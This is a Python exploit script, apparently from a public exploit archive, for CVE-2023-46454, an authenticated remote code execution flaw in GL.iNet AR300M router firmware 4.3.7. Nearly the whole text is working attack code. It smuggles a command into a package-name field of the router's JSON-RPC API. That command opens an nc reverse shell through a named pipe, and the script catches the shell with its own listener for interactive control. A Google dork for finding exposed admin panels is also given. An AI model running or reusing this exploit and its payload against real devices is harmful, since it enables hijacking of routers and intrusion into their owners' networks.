GL.iNet AR300M v4.3.7 Remote Code Execution - CVE-2023-46454

#!/usr/bin/env python3

# Exploit Title: GL.iNet <= 4.3.7 Remote Code Execution via OpenVPN Client
# Google Dork: intitle:"GL.iNet Admin Panel"
# Date: XX/11/2023
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://www.gli-net.com
# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar
# Version: 4.3.7
# Tested on: GL.iNet AR300M
# CVE: CVE-2023-46454

import socket
import requests
import readline
from time import sleep
from random import randint
from sys import stdout, argv
from threading import Thread

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def trigger_revshell(url, auth_token, payload):
    sleep(0.25)
    data = {
        'jsonrpc': '2.0',
        'id': randint(1000, 9999),
        'method': 'call',
        'params': [
            auth_token,
            'plugins',
            'get_package_info',
            {'name': 'bas{}e-files'.format(payload)}
        ]
    }
    requests.post(url, json=data, verify=False)

def get_command_response(s):
    res = ''
    while True:
        try:
            resp = s.recv(1).decode('utf-8')
            res += resp
        except UnicodeDecodeError:
            pass
        except socket.timeout:
            break
    return res

def revshell_listen(revshell_ip, revshell_port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)

    try:
        s.bind((revshell_ip, int(revshell_port)))
        s.listen(1)
    except Exception as e:
        print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))
        exit(1)

    try:
        clsock, claddr = s.accept()
        clsock.settimeout(2)
        if clsock:
            print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))
            res = ''
            while True:
                command = input('$ ')
                clsock.sendall('{}\n'.format(command).encode('utf-8'))
                stdout.write(get_command_response(clsock))

    except socket.timeout:
        print('[-] No connection received in 5 seconds, probably server is not vulnerable...')
        s.close()

    except KeyboardInterrupt:
        print('\n[*] Closing connection')
        try:
            clsock.close()
        except socket.error:
            pass
        except NameError:
            pass
        s.close()

def main(base_url, auth_token, revshell_ip, revshell_port):
    print('[+] Started GL.iNet <= 4.3.7 RCE exploit')

    payload = '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {} {} >/tmp/f)'.format(revshell_ip, revshell_port)
    print('[+] Reverse shell payload: "{}"'.format(payload))

    print('[*] Triggering reverse shell connection')
    Thread(target=trigger_revshell, args=(base_url+'/rpc', auth_token, payload)).start()

    print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port))
    revshell_listen(revshell_ip, revshell_port)

    print('[+] Done')

if __name__ == '__main__':
    if len(argv) < 5:
        print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0]))
        exit(1)

    main(argv[1], argv[2], argv[3], argv[4])